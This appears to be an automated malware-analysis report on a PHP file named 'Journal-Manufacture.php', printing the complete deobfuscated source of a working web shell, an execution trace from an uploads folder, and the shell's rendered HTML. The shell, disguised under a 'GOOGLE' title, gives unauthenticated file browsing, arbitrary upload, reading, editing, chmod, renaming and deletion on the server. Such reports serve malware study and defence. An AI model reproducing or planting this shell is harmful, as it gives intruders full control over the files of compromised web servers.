PHP Malware Analysis

Journal-Manufacture.php

md5: e6c44266199525d57eaeb4f7d912f35f

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n\t\t<html>\r\n\t\t<head>\r\n\t\t\t<title>ILMU TEKNOLOGI</title>\r\n\t\t\t<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n\t\t\t<style>\r\n\t\t\t\tbody {\r\n\t\t\t\t\tfont-family: \"tahoma\", cursive;\r\n\t\t\t\t\tbackground-color: black;\r\n\t\t\t\t\tcolor:cyan;\r\n\t\t\t\t}\r\n\t\t\t\t#content tr:hover{\r\n\t\t\t\t\ttext-shadow:0px 0px 10px;\r\n\t\t\t\t}\r\n\t\t\t\t#content .first{\r\n\t\t\t\tbackground-color: green;\r\n\t\t\t\t}\r\n\t\t\t\ttable{\r\n\t\t\t\t\tborder: 1px #000000 dotted;\r\n\t\t\t\t}\r\n\t\t\t\ta{\r\n\t\t\t\t\tcolor:cyan;\r\n\t\t\t\t\ttext-decoration: none;\r\n\t\t\t\t}\r\n\t\t\t\ta:hover{\r\n\t\t\t\t\tcolor:white;\r\n\t\t\t\t\ttext-shadow:0px 0px 10px transparent;\r\n\t\t\t\t}\r\n\t\t\t\tinput,select,textarea{\r\n\t\t\t\t\tborder: 1px white solid;\r\n\t\t\t\t\t-moz-border-radius: 5px;\r\n\t\t\t\t\t-webkit-border-radius:5px;\r\n\t\t\t\t\tborder-radius:5px;\r\n\t\t\t\t}\r\n\t\t\t</style>\r\n\t\t</head>\r\n\t\t<body>\r\n\t\t\t<h1>\r\n\t\t\t\t<center>\r\n\t\t\t\t\t<font color=\"cyan\">GOOGLE</font>\r\n\t\t\t\t</center>\r\n\t\t\t</h1>\r\n\t\t\t<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<font color=\"white\">aku nok ndi :</font> ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"cyan\">Upload Succeeded</font><br />";
    } else {
        echo "<font color=\"red\">Upload Failed</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n\t\t<font color=\"white\">File Up :</font> <input type=\"file\" name=\"file\" />\r\n\t\t<input type=\"submit\" value=\"aplod :v\" />\r\n\t\t</form>\r\n\t\t</td>\r\n\t\t</tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>aku nok ndi : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"cyan\">Change Permission Successful</font><br/>";
            } else {
                echo "<font color=\"red\">Change Permission Failed</font><br />";
            }
        }
        echo '<form method="POST">
				Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
				<input type="hidden" name="path" value="' . $_POST['path'] . '">
				<input type="hidden" name="opt" value="chmod">
				<input type="submit" value="Go" />
				</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"cyan\">Rename Successfully</font><br/>";
            } else {
                echo "<font color=\"red\">Rename Failed</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
						New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
						<input type="hidden" name="path" value="' . $_POST['path'] . '">
						<input type="hidden" name="opt" value="rename">
						<input type="submit" value="Go" />
						</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"cyan\">Successfully Edit File</font><br/>";
            } else {
                echo "<font color=\"red\">Failed to Edit File</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
								<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
								<input type="hidden" name="path" value="' . $_POST['path'] . '">
								<input type="hidden" name="opt" value="edit">
								<input type="submit" value="Save" />
								</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"cyan\">Deleted Directory</font><br/>";
            } else {
                echo "<font color=\"red\">Directory Failed Deleted</font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"cyan\">Deleted Files</font><br/>";
            } else {
                echo "<font color=\"red\">File Failed Deleted</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\">\r\n\t\t\t\t\t\t\t\t  <table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n\t\t\t\t\t\t\t\t \t<tr class=\"first\">\r\n\t\t\t\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\t\t\t\t<center>Name</peller></center>\r\n\t\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\t\t\t\t<center>Size</peller></center>\r\n\t\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\t\t\t\t<center>Permission</peller></center>\r\n\t\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t\t\t<td>\r\n\t\t\t\t\t\t\t\t\t\t\t<center>Modify</peller></center>\r\n\t\t\t\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t\t\t</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
		  <td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
		  <td><center>--</center></td>
		  <td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"cyan\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
		  		<td><center><form method="POST" action="?option&path=' . $path . '">
		  			<select name="opt">
		  				<option value="">Select</option>
						<option value="delete">Delete</option>
						<option value="chmod">Chmod</option>
						<option value="rename">Rename</option>
					</select>
					<input type="hidden" name="type" value="dir">
					<input type="hidden" name="name" value="' . $dir . '">
					<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
					<input type="submit" value=">">
					</form></center></td>
					</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
			<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
			<td><center>' . $size . '</center></td>
			<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"cyan\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
	  <td><center><form method="POST" action="?option&path=' . $path . '">
	  <select name="opt">
	  	<option value="">Select</option>
	  	<option value="delete">Delete</option>
	  	<option value="chmod">Chmod</option>
	  	<option value="rename">Rename</option>
	  	<option value="edit">Edit</option>
	  </select>
	  <input type="hidden" name="type" value="file">
	  <input type="hidden" name="name" value="' . $file . '">
	  <input type="hidden" name="path" value="' . $path . '/' . $file . '">
	  <input type="submit" value=">">
	  </form></center></td>
	  </tr>';
    }
    echo "</table></div>";
}
echo "<br><center>Copyright \xc2\xa9 1945 - </body></html>" . (int) date('Y') . " GOOGLE";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/e6c44266199525d57eaeb4f7d912f35f_trace-1676250852.2706.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:14:38.168403]
1	0	1	0.000134	393656
1	3	0	0.000422	445792	{main}	1		/var/www/html/uploads/Journal-Manufacture.php	0	0
2	4	0	0.000440	445792	error_reporting	0		/var/www/html/uploads/Journal-Manufacture.php	2	1	0
2	4	1	0.000456	445832
2	4	R			22527
2	5	0	0.000470	445792	set_time_limit	0		/var/www/html/uploads/Journal-Manufacture.php	3	1	0
2	5	1	0.000486	445856
2	5	R			FALSE
2	6	0	0.000499	445824	get_magic_quotes_gpc	0		/var/www/html/uploads/Journal-Manufacture.php	5	0
2	6	1	0.000512	445824
2	6	R			FALSE
2	7	0	0.000526	445824	getcwd	0		/var/www/html/uploads/Journal-Manufacture.php	59	0
2	7	1	0.000540	445872
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/Journal-Manufacture.php	59	$path = '/var/www/html/uploads'
2	8	0	0.000568	445872	str_replace	0		/var/www/html/uploads/Journal-Manufacture.php	61	3	'\\'	'/'	'/var/www/html/uploads'
2	8	1	0.000584	445968
2	8	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/Journal-Manufacture.php	61	$path = '/var/www/html/uploads'
2	9	0	0.000608	445872	explode	0		/var/www/html/uploads/Journal-Manufacture.php	62	2	'/'	'/var/www/html/uploads'
2	9	1	0.000624	446448
2	9	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/Journal-Manufacture.php	62	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/Journal-Manufacture.php	64	$id = 0
1		A						/var/www/html/uploads/Journal-Manufacture.php	66	$a = TRUE
1		A						/var/www/html/uploads/Journal-Manufacture.php	64	$id = 1
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i = 0
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	64	$id = 2
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i = 0
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	64	$id = 3
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i = 0
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	64	$id = 4
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i = 0
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
1		A						/var/www/html/uploads/Journal-Manufacture.php	72	$i++
2	10	0	0.000869	446376	scandir	0		/var/www/html/uploads/Journal-Manufacture.php	157	1	'/var/www/html/uploads'
2	10	1	0.000900	447008
2	10	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Journal-Manufacture.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/Journal-Manufacture.php	157	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'Journal-Manufacture.php', 4 => 'data', 5 => 'prepend.php']
2	11	0	0.000940	447024	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/.'
2	11	1	0.000957	447088
2	11	R			TRUE
2	12	0	0.000971	447056	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/..'
2	12	1	0.000986	447104
2	12	R			TRUE
2	13	0	0.001000	447064	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/.htaccess'
2	13	1	0.001015	447104
2	13	R			FALSE
2	14	0	0.001028	447088	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	14	1	0.001043	447144
2	14	R			FALSE
2	15	0	0.001056	447080	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/data'
2	15	1	0.001071	447104
2	15	R			TRUE
2	16	0	0.001089	447064	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	181	1	'/var/www/html/uploads/data'
2	16	1	0.001107	447104
2	16	R			TRUE
2	17	0	0.001120	447064	perms	1		/var/www/html/uploads/Journal-Manufacture.php	183	1	'/var/www/html/uploads/data'
3	18	0	0.001134	447064	fileperms	0		/var/www/html/uploads/Journal-Manufacture.php	237	1	'/var/www/html/uploads/data'
3	18	1	0.001147	447104
3	18	R			16895
2		A						/var/www/html/uploads/Journal-Manufacture.php	237	$perms = 16895
2		A						/var/www/html/uploads/Journal-Manufacture.php	252	$info = 'd'
2		A						/var/www/html/uploads/Journal-Manufacture.php	264	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	265	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	268	$info .= 'x'
2		A						/var/www/html/uploads/Journal-Manufacture.php	270	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	271	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	274	$info .= 'x'
2		A						/var/www/html/uploads/Journal-Manufacture.php	276	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	277	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	280	$info .= 'x'
2	17	1	0.001270	447104
2	17	R			'drwxrwxrwx'
2	19	0	0.001283	447064	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	184	1	'/var/www/html/uploads/data'
2	19	1	0.001299	447104
2	19	R			TRUE
2	20	0	0.001313	447072	is_dir	0		/var/www/html/uploads/Journal-Manufacture.php	176	1	'/var/www/html/uploads/prepend.php'
2	20	1	0.001329	447120
2	20	R			FALSE
2	21	0	0.001343	447064	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/.'
2	21	1	0.001358	447088
2	21	R			FALSE
2	22	0	0.001371	447056	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/..'
2	22	1	0.001385	447104
2	22	R			FALSE
2	23	0	0.001398	447064	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001413	447104
2	23	R			TRUE
2	24	0	0.001426	447064	filesize	0		/var/www/html/uploads/Journal-Manufacture.php	203	1	'/var/www/html/uploads/.htaccess'
2	24	1	0.001439	447104
2	24	R			64
1		A						/var/www/html/uploads/Journal-Manufacture.php	203	$size = 0.0625
2	25	0	0.001463	447008	round	0		/var/www/html/uploads/Journal-Manufacture.php	204	2	0.0625	3
2	25	1	0.001477	447080
2	25	R			0.063
1		A						/var/www/html/uploads/Journal-Manufacture.php	204	$size = 0.063
1		A						/var/www/html/uploads/Journal-Manufacture.php	208	$size = '0.063 KB'
2	26	0	0.001513	447104	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	214	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001529	447144
2	26	R			FALSE
2	27	0	0.001542	447104	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	215	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001557	447144
2	27	R			TRUE
2	28	0	0.001570	447104	perms	1		/var/www/html/uploads/Journal-Manufacture.php	216	1	'/var/www/html/uploads/.htaccess'
3	29	0	0.001583	447104	fileperms	0		/var/www/html/uploads/Journal-Manufacture.php	237	1	'/var/www/html/uploads/.htaccess'
3	29	1	0.001596	447144
3	29	R			33188
2		A						/var/www/html/uploads/Journal-Manufacture.php	237	$perms = 33188
2		A						/var/www/html/uploads/Journal-Manufacture.php	246	$info = '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	264	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	265	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	268	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	270	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	271	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	274	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	276	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	277	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	280	$info .= '-'
2	28	1	0.001716	447144
2	28	R			'-rw-r--r--'
2	30	0	0.001729	447104	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001749	447144
2	30	R			FALSE
2	31	0	0.001763	447104	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/.htaccess'
2	31	1	0.001778	447144
2	31	R			TRUE
2	32	0	0.001792	447128	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	32	1	0.001807	447184
2	32	R			TRUE
2	33	0	0.001819	447144	filesize	0		/var/www/html/uploads/Journal-Manufacture.php	203	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	33	1	0.001832	447184
2	33	R			9235
1		A						/var/www/html/uploads/Journal-Manufacture.php	203	$size = 9.0185546875
2	34	0	0.001856	447024	round	0		/var/www/html/uploads/Journal-Manufacture.php	204	2	9.0185546875	3
2	34	1	0.001870	447096
2	34	R			9.019
1		A						/var/www/html/uploads/Journal-Manufacture.php	204	$size = 9.019
1		A						/var/www/html/uploads/Journal-Manufacture.php	208	$size = '9.019 KB'
2	35	0	0.001906	447144	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	214	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	35	1	0.001921	447184
2	35	R			FALSE
2	36	0	0.001934	447144	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	215	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	36	1	0.001949	447184
2	36	R			TRUE
2	37	0	0.001961	447144	perms	1		/var/www/html/uploads/Journal-Manufacture.php	216	1	'/var/www/html/uploads/Journal-Manufacture.php'
3	38	0	0.001974	447144	fileperms	0		/var/www/html/uploads/Journal-Manufacture.php	237	1	'/var/www/html/uploads/Journal-Manufacture.php'
3	38	1	0.001987	447184
3	38	R			33204
2		A						/var/www/html/uploads/Journal-Manufacture.php	237	$perms = 33204
2		A						/var/www/html/uploads/Journal-Manufacture.php	246	$info = '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	264	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	265	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	268	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	270	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	271	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	274	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	276	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	277	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	280	$info .= '-'
2	37	1	0.002105	447184
2	37	R			'-rw-rw-r--'
2	39	0	0.002119	447144	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	39	1	0.002134	447184
2	39	R			FALSE
2	40	0	0.002147	447144	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/Journal-Manufacture.php'
2	40	1	0.002162	447184
2	40	R			TRUE
2	41	0	0.002180	447232	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/data'
2	41	1	0.002195	447256
2	41	R			FALSE
2	42	0	0.002209	447224	is_file	0		/var/www/html/uploads/Journal-Manufacture.php	202	1	'/var/www/html/uploads/prepend.php'
2	42	1	0.002224	447272
2	42	R			TRUE
2	43	0	0.002236	447232	filesize	0		/var/www/html/uploads/Journal-Manufacture.php	203	1	'/var/www/html/uploads/prepend.php'
2	43	1	0.002250	447272
2	43	R			57
1		A						/var/www/html/uploads/Journal-Manufacture.php	203	$size = 0.0556640625
2	44	0	0.002280	447128	round	0		/var/www/html/uploads/Journal-Manufacture.php	204	2	0.0556640625	3
2	44	1	0.002294	447200
2	44	R			0.056
1		A						/var/www/html/uploads/Journal-Manufacture.php	204	$size = 0.056
1		A						/var/www/html/uploads/Journal-Manufacture.php	208	$size = '0.056 KB'
2	45	0	0.002330	447232	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	214	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002347	447272
2	45	R			FALSE
2	46	0	0.002359	447232	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	215	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002375	447272
2	46	R			TRUE
2	47	0	0.002388	447232	perms	1		/var/www/html/uploads/Journal-Manufacture.php	216	1	'/var/www/html/uploads/prepend.php'
3	48	0	0.002401	447232	fileperms	0		/var/www/html/uploads/Journal-Manufacture.php	237	1	'/var/www/html/uploads/prepend.php'
3	48	1	0.002415	447272
3	48	R			33261
2		A						/var/www/html/uploads/Journal-Manufacture.php	237	$perms = 33261
2		A						/var/www/html/uploads/Journal-Manufacture.php	246	$info = '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	264	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	265	$info .= 'w'
2		A						/var/www/html/uploads/Journal-Manufacture.php	268	$info .= 'x'
2		A						/var/www/html/uploads/Journal-Manufacture.php	270	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	271	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	274	$info .= 'x'
2		A						/var/www/html/uploads/Journal-Manufacture.php	276	$info .= 'r'
2		A						/var/www/html/uploads/Journal-Manufacture.php	277	$info .= '-'
2		A						/var/www/html/uploads/Journal-Manufacture.php	280	$info .= 'x'
2	47	1	0.002538	447272
2	47	R			'-rwxr-xr-x'
2	49	0	0.002552	447232	is_writable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002568	447272
2	49	R			FALSE
2	50	0	0.002581	447232	is_readable	0		/var/www/html/uploads/Journal-Manufacture.php	217	1	'/var/www/html/uploads/prepend.php'
2	50	1	0.002597	447272
2	50	R			TRUE
2	51	0	0.002610	447168	date	0		/var/www/html/uploads/Journal-Manufacture.php	234	1	'Y'
2	51	1	0.002665	449520
2	51	R			'2023'
1	3	1	0.002683	449232
			0.002711	326296
TRACE END   [2023-02-12 23:14:38.171007]


Generated HTML code

<html><head>
			<title>ILMU TEKNOLOGI</title>
			<link href="" rel="stylesheet" type="text/css">
			<style>
				body {
					font-family: "tahoma", cursive;
					background-color: black;
					color:cyan;
				}
				#content tr:hover{
					text-shadow:0px 0px 10px;
				}
				#content .first{
				background-color: green;
				}
				table{
					border: 1px #000000 dotted;
				}
				a{
					color:cyan;
					text-decoration: none;
				}
				a:hover{
					color:white;
					text-shadow:0px 0px 10px transparent;
				}
				input,select,textarea{
					border: 1px white solid;
					-moz-border-radius: 5px;
					-webkit-border-radius:5px;
					border-radius:5px;
				}
			</style>
		</head>
		<body>
			<h1>
				<center>
					<font color="cyan">GOOGLE</font>
				</center>
			</h1>
			<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
				<tbody><tr>
					<td>
						<font color="white">aku nok ndi :</font> <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
		<font color="white">File Up :</font> <input type="file" name="file">
		<input type="submit" value="aplod :v">
		</form>
		</td>
		</tr></tbody></table><br><center></center><div id="content">
								  <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
								 	<tbody><tr class="first">
										<td>
											<center>Name</center>
										</td>
										<td>
											<center>Size</center>
										</td>
										<td>
											<center>Permission</center>
										</td>
										<td>
											<center>Modify</center>
										</td>
									</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
			<td><a href="?filesrc=/var/www/html/Journal-Manufacture.php&amp;path=/var/www/html">Journal-Manufacture.php</a></td>
			<td><center>9.019 KB</center></td>
			<td><center>-rw-rw-r--</center></td>
	  <td><center><form method="POST" action="?option&amp;path=/var/www/html">
	  <select name="opt">
	  	<option value="">Select</option>
	  	<option value="delete">Delete</option>
	  	<option value="chmod">Chmod</option>
	  	<option value="rename">Rename</option>
	  	<option value="edit">Edit</option>
	  </select>
	  <input type="hidden" name="type" value="file">
	  <input type="hidden" name="name" value="Journal-Manufacture.php">
	  <input type="hidden" name="path" value="/var/www/html/Journal-Manufacture.php">
	  <input type="submit" value=">">
	  </form></center></td>
	  </tr><tr>
			<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
			<td><center>0 KB</center></td>
			<td><center>-rw-r--r--</center></td>
	  <td><center><form method="POST" action="?option&amp;path=/var/www/html">
	  <select name="opt">
	  	<option value="">Select</option>
	  	<option value="delete">Delete</option>
	  	<option value="chmod">Chmod</option>
	  	<option value="rename">Rename</option>
	  	<option value="edit">Edit</option>
	  </select>
	  <input type="hidden" name="type" value="file">
	  <input type="hidden" name="name" value="beneri.se_malware_analysis">
	  <input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
	  <input type="submit" value=">">
	  </form></center></td>
	  </tr></tbody></table></div><br><center>Copyright © 1945 - 2023 GOOGLE</center></body></html>

Original PHP code

<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
	foreach($_POST as $key=>$value){
		$_POST[$key] = stripslashes($value);
	}
} echo '<!DOCTYPE HTML>
		<html>
		<head>
			<title>ILMU TEKNOLOGI</title>
			<link href="" rel="stylesheet" type="text/css">
			<style>
				body {
					font-family: "tahoma", cursive;
					background-color: black;
					color:cyan;
				}
				#content tr:hover{
					text-shadow:0px 0px 10px;
				}
				#content .first{
				background-color: green;
				}
				table{
					border: 1px #000000 dotted;
				}
				a{
					color:cyan;
					text-decoration: none;
				}
				a:hover{
					color:white;
					text-shadow:0px 0px 10px transparent;
				}
				input,select,textarea{
					border: 1px white solid;
					-moz-border-radius: 5px;
					-webkit-border-radius:5px;
					border-radius:5px;
				}
			</style>
		</head>
		<body>
			<h1>
				<center>
					<font color="cyan">GOOGLE</font>
				</center>
			</h1>
